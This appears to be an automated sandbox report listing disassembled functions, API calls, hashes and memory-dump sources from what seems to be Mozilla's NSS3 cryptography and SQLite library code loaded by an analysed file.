Opcode ID: e832decf7d9eae40576dea4d277a81a287eb73c502e03a87db3a172b6ca7c03d
Instruction ID: e2ab40e259a11f7f532767fce5c177074d22a542eee6e92b5fe279ae7a655a9d
Opcode Fuzzy Hash: e832decf7d9eae40576dea4d277a81a287eb73c502e03a87db3a172b6ca7c03d
Instruction Fuzzy Hash: 8BC1BFB5A012199BDB10CF24CC80BDAB7B5BF49308F2442A9E94CA7741E775EE95CF90

Function 6CE7DC60 Relevance: 13.7, APIs: 9, Instructions: 245memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,6CE897C1,?,00000000,00000000,?,?,?,00000000,?,6CE67F4A,00000000), ref: 6CE7DC68

Part of subcall function 6CEA0BE0: malloc.MOZGLUE(6CE98D2D,?,00000000,?), ref: 6CEA0BF8
Part of subcall function 6CEA0BE0: TlsGetValue.KERNEL32(6CE98D2D,?,00000000,?), ref: 6CEA0C15

PORT_Alloc_Util.NSS3(00000008,00000000,?,?,?,00000000,?,6CE67F4A,00000000,?,00000000,00000000), ref: 6CE7DD36
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6CE67F4A,00000000,?,00000000,00000000), ref: 6CE7DE2D
memcpy.VCRUNTIME140(00000000,00000000,?,?,00000000,?,?,?,00000000,?,6CE67F4A,00000000,?,00000000,00000000), ref: 6CE7DE43
PORT_Alloc_Util.NSS3(0000000C,00000000,?,?,?,00000000,?,6CE67F4A,00000000,?,00000000,00000000), ref: 6CE7DE76
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6CE67F4A,00000000,?,00000000,00000000), ref: 6CE7DF32
memcpy.VCRUNTIME140(-00000010,00000000,00000000,?,00000000,?,?,?,00000000,?,6CE67F4A,00000000,?,00000000,00000000), ref: 6CE7DF5F
PORT_Alloc_Util.NSS3(00000004,00000000,?,?,?,00000000,?,6CE67F4A,00000000,?,00000000,00000000), ref: 6CE7DF78
PORT_Alloc_Util.NSS3(00000010,00000000,?,?,?,00000000,?,6CE67F4A,00000000,?,00000000,00000000), ref: 6CE7DFAA

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Alloc_Util$memcpy$Valuemalloc
String ID:
API String ID: 1886645929-0
Opcode ID: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction ID: d7b4f640765a66d008725464370cc0466cc377944b3b6734372f2a5c0e863e98
Opcode Fuzzy Hash: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction Fuzzy Hash: DC81B479E066018BFB364E59CC9036972B6DB6134CF34843AD51ACAFE1D778D684C632

Function 6CE53C60 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_GetCertFromPrivateKey.NSS3(?), ref: 6CE53C76
CERT_DestroyCertificate.NSS3(00000000), ref: 6CE53C94

Part of subcall function 6CE495B0: TlsGetValue.KERNEL32(00000000,?,6CE600D2,00000000), ref: 6CE495D2
Part of subcall function 6CE495B0: EnterCriticalSection.KERNEL32(?,?,?,6CE600D2,00000000), ref: 6CE495E7
Part of subcall function 6CE495B0: PR_Unlock.NSS3(?,?,?,?,6CE600D2,00000000), ref: 6CE49605

PORT_NewArena_Util.NSS3(00000800), ref: 6CE53CB2
PORT_ArenaAlloc_Util.NSS3(00000000,000000AC), ref: 6CE53CCA
memset.VCRUNTIME140(00000000,00000000,000000AC), ref: 6CE53CE1

Part of subcall function 6CE53090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE6AE42), ref: 6CE530AA
Part of subcall function 6CE53090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CE530C7
Part of subcall function 6CE53090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CE530E5
Part of subcall function 6CE53090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CE53116
Part of subcall function 6CE53090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE5312B
Part of subcall function 6CE53090: PK11_DestroyObject.NSS3(?,?), ref: 6CE53154
Part of subcall function 6CE53090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE5317E

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Util$Arena_$Alloc_ArenaDestroyK11_memset$AlgorithmCertCertificateCopyCriticalEnterFreeFromItem_ObjectPrivateSectionTag_UnlockValue
String ID:
API String ID: 3167935723-0
Opcode ID: 658c81eb759fc4c3a408373901e3f944066e0f7ed35dedd16aa8287c65c6e97b
Instruction ID: 3a2033c1d6d3e46c30321f9afffb75810c6461ae52843297385054d691478065
Opcode Fuzzy Hash: 658c81eb759fc4c3a408373901e3f944066e0f7ed35dedd16aa8287c65c6e97b
Instruction Fuzzy Hash: 2761C775B00300AFEB105FA5DC41FA776B9AF0474CF684028FE499AB52FB22D924C7A1

Function 6CE93D40 Relevance: 13.7, APIs: 9, Instructions: 169COMMON

Download Yara Rule

APIs

Part of subcall function 6CE93440: PK11_GetAllTokens.NSS3 ref: 6CE93481
Part of subcall function 6CE93440: PR_SetError.NSS3(00000000,00000000), ref: 6CE934A3
Part of subcall function 6CE93440: TlsGetValue.KERNEL32 ref: 6CE9352E
Part of subcall function 6CE93440: EnterCriticalSection.KERNEL32(?), ref: 6CE93542
Part of subcall function 6CE93440: PR_Unlock.NSS3(?), ref: 6CE9355B

TlsGetValue.KERNEL32 ref: 6CE93D8B
EnterCriticalSection.KERNEL32(?), ref: 6CE93D9F
PR_Unlock.NSS3(?), ref: 6CE93DCA
PR_SetError.NSS3(00000000,00000000), ref: 6CE93DE2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6CE93E4F

Part of subcall function 6CEEC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEEC2BF

TlsGetValue.KERNEL32 ref: 6CE93E97
EnterCriticalSection.KERNEL32(?), ref: 6CE93EAB
PR_Unlock.NSS3(?), ref: 6CE93ED6
PR_SetError.NSS3(00000000,00000000), ref: 6CE93EEE

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: ErrorValue$CriticalEnterSectionUnlock$K11_Tokens
String ID:
API String ID: 2554137219-0
Opcode ID: ed9a249f5e8a92db5a5a9dadd84d5dff37946895f3245b895259c30e5696a286
Instruction ID: 5c4a798e850b63404513060b3f356f0c3e7a6ae1bae58878decdac1fc583618a
Opcode Fuzzy Hash: ed9a249f5e8a92db5a5a9dadd84d5dff37946895f3245b895259c30e5696a286
Instruction Fuzzy Hash: DA512575E007009FDB11AF69D844B6A77B4AF4631CF254128EE0D4BB22EB31E944CB91

Function 6CE42C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(78572F06), ref: 6CE42C5D

Part of subcall function 6CEA0D30: calloc.MOZGLUE ref: 6CEA0D50
Part of subcall function 6CEA0D30: TlsGetValue.KERNEL32 ref: 6CEA0D6D

CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001), ref: 6CE42C8D
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE42CE0

Part of subcall function 6CE42E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CE42CDA,?,00000000), ref: 6CE42E1E
Part of subcall function 6CE42E00: SECITEM_DupItem_Util.NSS3(?), ref: 6CE42E33
Part of subcall function 6CE42E00: TlsGetValue.KERNEL32 ref: 6CE42E4E
Part of subcall function 6CE42E00: EnterCriticalSection.KERNEL32(?), ref: 6CE42E5E
Part of subcall function 6CE42E00: PL_HashTableLookup.NSS3(?), ref: 6CE42E71
Part of subcall function 6CE42E00: PL_HashTableRemove.NSS3(?), ref: 6CE42E84
Part of subcall function 6CE42E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6CE42E96
Part of subcall function 6CE42E00: PR_Unlock.NSS3 ref: 6CE42EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE42D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6CE42D30
CERT_MakeCANickname.NSS3(00000001), ref: 6CE42D3F
free.MOZGLUE(00000000), ref: 6CE42D73
CERT_DestroyCertificate.NSS3(?), ref: 6CE42DB8
free.MOZGLUE ref: 6CE42DC8

Part of subcall function 6CE43E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE43EC2
Part of subcall function 6CE43E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CE43ED6
Part of subcall function 6CE43E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE43EEE
Part of subcall function 6CE43E60: PR_CallOnce.NSS3(6CFA2AA4,6CEA12D0), ref: 6CE43F02
Part of subcall function 6CE43E60: PL_FreeArenaPool.NSS3 ref: 6CE43F14
Part of subcall function 6CE43E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE43F27

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
API String ID: 3941837925-0
Opcode ID: fcb951277eb8ec78c8d5e5575dd6afaa0e59b21ac872ae1cdff2e2a9994910e0
Instruction ID: d1c1b31e62f319daf3bac3914a869379c0560eb6a9a07829c5a0b3f459343f74
Opcode Fuzzy Hash: fcb951277eb8ec78c8d5e5575dd6afaa0e59b21ac872ae1cdff2e2a9994910e0
Instruction Fuzzy Hash: 2E51DD71A043119BEB019F29EC88B5B77F5EFA834CF25842CE859D7750EB31E8158B92

Function 6CE68F70 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6CE5DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CE68FAF
PR_Now.NSS3(?,?,00000002,?,?,?,6CE5DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CE68FD1
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CE5DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CE68FFA
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CE5DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CE69013
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CE5DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CE69042
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CE5DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CE6905A
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CE5DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CE69073
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CE5DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CE690EC

Part of subcall function 6CE30F00: PR_GetPageSize.NSS3(6CE30936,FFFFE8AE,?,6CDC16B7,00000000,?,6CE30936,00000000,?,6CDC204A), ref: 6CE30F1B
Part of subcall function 6CE30F00: PR_NewLogModule.NSS3(clock,6CE30936,FFFFE8AE,?,6CDC16B7,00000000,?,6CE30936,00000000,?,6CDC204A), ref: 6CE30F25

PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CE5DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CE69111

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValue$InternalK11_ModulePageSizeSlot
String ID:
API String ID: 2831689957-0
Opcode ID: 229acea8936922e1fffa26dc21dc690435bd5cf54c45ca40597d77a844c44025
Instruction ID: ec4d2d1513a070c35b3ef7a08d2568533faf7508e899a22c0971769bc3956f91
Opcode Fuzzy Hash: 229acea8936922e1fffa26dc21dc690435bd5cf54c45ca40597d77a844c44025
Instruction Fuzzy Hash: 13519C75A54204CFCF40EF7AC488359BBF4AF4A318F265569DC489BB05EB31E885CB81

Function 6CE47CC0 Relevance: 13.6, APIs: 9, Instructions: 132threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CE440D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6CE43F7F,?,00000055,?,?,6CE41666,?,?), ref: 6CE440D9
Part of subcall function 6CE440D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6CE41666,?,?), ref: 6CE440FC
Part of subcall function 6CE440D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6CE41666,?,?), ref: 6CE44138

PR_GetCurrentThread.NSS3 ref: 6CE47CFD

Part of subcall function 6CF09BF0: TlsGetValue.KERNEL32(?,?,?,6CF50A75), ref: 6CF09C07

SECITEM_ItemsAreEqual_Util.NSS3(?,6CF69030), ref: 6CE47D1B

Part of subcall function 6CE9FD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6CE41A3E,00000048,00000054), ref: 6CE9FD56

SECITEM_ItemsAreEqual_Util.NSS3(?,6CF69048), ref: 6CE47D2F
SECITEM_CopyItem_Util.NSS3(00000000,?,00000000), ref: 6CE47D50
PR_GetCurrentThread.NSS3 ref: 6CE47D61
PORT_ArenaMark_Util.NSS3(?), ref: 6CE47D7D
free.MOZGLUE(?), ref: 6CE47D9C
CERT_CheckNameSpace.NSS3(?,00000000,00000000), ref: 6CE47DB8
PR_SetError.NSS3(FFFFE023,00000000), ref: 6CE47E19

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: Util$CurrentEqual_ErrorItem_ItemsThread$ArenaCheckCompareCopyFindMark_NameSpaceTag_Valuefreememcmp
String ID:
API String ID: 70581797-0
Opcode ID: 1370100ae51c1708a8c026843b5aa6f12ff15aecba96838248ee4bae60726c00
Instruction ID: 1e8f366888265e9062bd48e0828518f59210534401264534299e6fe61d872655
Opcode Fuzzy Hash: 1370100ae51c1708a8c026843b5aa6f12ff15aecba96838248ee4bae60726c00
Instruction Fuzzy Hash: 4641E672A1011A9BDB009F69AC41BAF37F4AF4625CF254028EC19ABB51EB30ED15C7E1

Function 6CE57EB0 Relevance: 13.6, APIs: 9, Instructions: 124threadCOMMON

Download Yara Rule

APIs

free.MOZGLUE(?,00000000,00000000,?,?,?,6CE580DD), ref: 6CE57F15
DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,?,?,6CE580DD), ref: 6CE57F36
free.MOZGLUE(?,?,?,6CE580DD), ref: 6CE57F3D
SECOID_Shutdown.NSS3(00000000,00000000,?,?,?,6CE580DD), ref: 6CE57F5D
DeleteCriticalSection.KERNEL32(?,6CE580DD), ref: 6CE57F94
free.MOZGLUE(?), ref: 6CE57F9B
PR_SetError.NSS3(FFFFE08B,00000000,6CE580DD), ref: 6CE57FD0
PR_SetThreadPrivate.NSS3(FFFFFFFF,00000000,6CE580DD), ref: 6CE57FE6
free.MOZGLUE(?,6CE580DD), ref: 6CE5802D

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection$ErrorPrivateShutdownThread
String ID:
API String ID: 4037168058-0
Opcode ID: 774e61cf12f55b1948492342764353d2b1788a6b73e8e2215ebab1663a1658ee
Instruction ID: a9c7c437586b946d3235e02bb1fec17364f1d901dca64dcb208f9c8fb6193eb9
Opcode Fuzzy Hash: 774e61cf12f55b1948492342764353d2b1788a6b73e8e2215ebab1663a1658ee
Instruction Fuzzy Hash: 5041D571F212008BDB90DFFAA889B4EB775AB47258F624129E51A87B40D7339415C7A1

Function 6CE9FEE0 Relevance: 13.6, APIs: 9, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE9FF00

Part of subcall function 6CEEC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEEC2BF

PORT_ArenaMark_Util.NSS3(?), ref: 6CE9FF18
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6CE9FF26
PORT_ArenaMark_Util.NSS3(?), ref: 6CE9FF4F
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CE9FF7A
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CE9FF8C

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Mark_$ErrorValuememset
String ID:
API String ID: 1233137751-0
Opcode ID: b1341e752ac882da296d8f709eccb70221eeaac2cfee6b0f8aa0d0391a7feb13
Instruction ID: 54ebe4f4bf9ab31a555d7ecd13a574df4ab29ba7d7a88c0b84d5c5f437d11651
Opcode Fuzzy Hash: b1341e752ac882da296d8f709eccb70221eeaac2cfee6b0f8aa0d0391a7feb13
Instruction Fuzzy Hash: 963126B69013129FE7108E998C82B5B76B8AF5634CF340139FD1A9B740E734D916C7D1

Function 6CDE7D70 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 179COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDE7E27
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDE7E67
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001065F,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000003,?,?), ref: 6CDE7EED
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001066C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CDE7F2E

Strings

%s at line %d of [%.10s], xrefs: 6CDE7EE7, 6CDE7F28
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDE7ED8, 6CDE7F08, 6CDE7F19
database corruption, xrefs: 6CDE7EE2, 6CDE7F23

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: 8c74902de412fd3d478fe6f454b6c0c21a8b86d7303f20c6dd3dca9f74279b6b
Instruction ID: 56708cdac615846917678de5f71e528848ab0ece87367088fa2faa0d4ba5666e
Opcode Fuzzy Hash: 8c74902de412fd3d478fe6f454b6c0c21a8b86d7303f20c6dd3dca9f74279b6b
Instruction Fuzzy Hash: 9E61C370B00206EFDB45CF25C880BAA37B2BF49708F1645A9EC194BB62D731EC55CBA1

Function 6CDCFCF0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 155COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124AC,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CDCFD7A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDCFD94
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124BF,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CDCFE3C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDCFE83

Part of subcall function 6CDCFEC0: memcmp.VCRUNTIME140(?,?,?,?,00000000,?), ref: 6CDCFEFA
Part of subcall function 6CDCFEC0: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00000000,?), ref: 6CDCFF3B

Strings

%s at line %d of [%.10s], xrefs: 6CDCFD73, 6CDCFE35
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDCFD64, 6CDCFE26
database corruption, xrefs: 6CDCFD6E, 6CDCFE30

Memory Dump Source

Source File: 00000001.00000002.1851015663.000000006CDC1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDC0000, based on PE: true

Associated: 00000001.00000002.1850985473.000000006CDC0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851203616.000000006CF5F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851253246.000000006CF9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851291366.000000006CF9F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851320704.000000006CFA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1851348527.000000006CFA5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdc0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$memcmpmemcpy
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1169254434-598938438
Opcode ID: 636ddc13e210f0c192a105a1d478ec240a84ead06033a18c09704457b4d90c7a
Instruction ID: eddc426d61253f17e909ad007b78c181df7a89246786c57bd26c360ebf468b85
Opcode Fuzzy Hash: 636ddc13e210f0c192a105a1d478ec240a84ead06033a18c09704457b4d90c7a
Instruction Fuzzy Hash: 56517E71B00205DFDB04CFA9D890AEEB7B9BF48308F144469E905AB762E735EC50CBA1

Function 6CF12F70 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 123stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF12FFD
sqlite3_initialize.NSS3 ref: 6CF13007
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CF13032
sqlite3_mprintf.NSS3(6CF7AAF9,?), ref: 6CF13073
sqlite3_free.NSS3(?), ref: 6CF130B3
sqlite3_mprintf.NSS3(sqlite3_get_table() called with two or more incompatible queries), ref: 6CF130C0

Strings

sqlite3_get_table() called with two or more incompatible queries, xrefs: 6CF130BB

Memory Dump Source

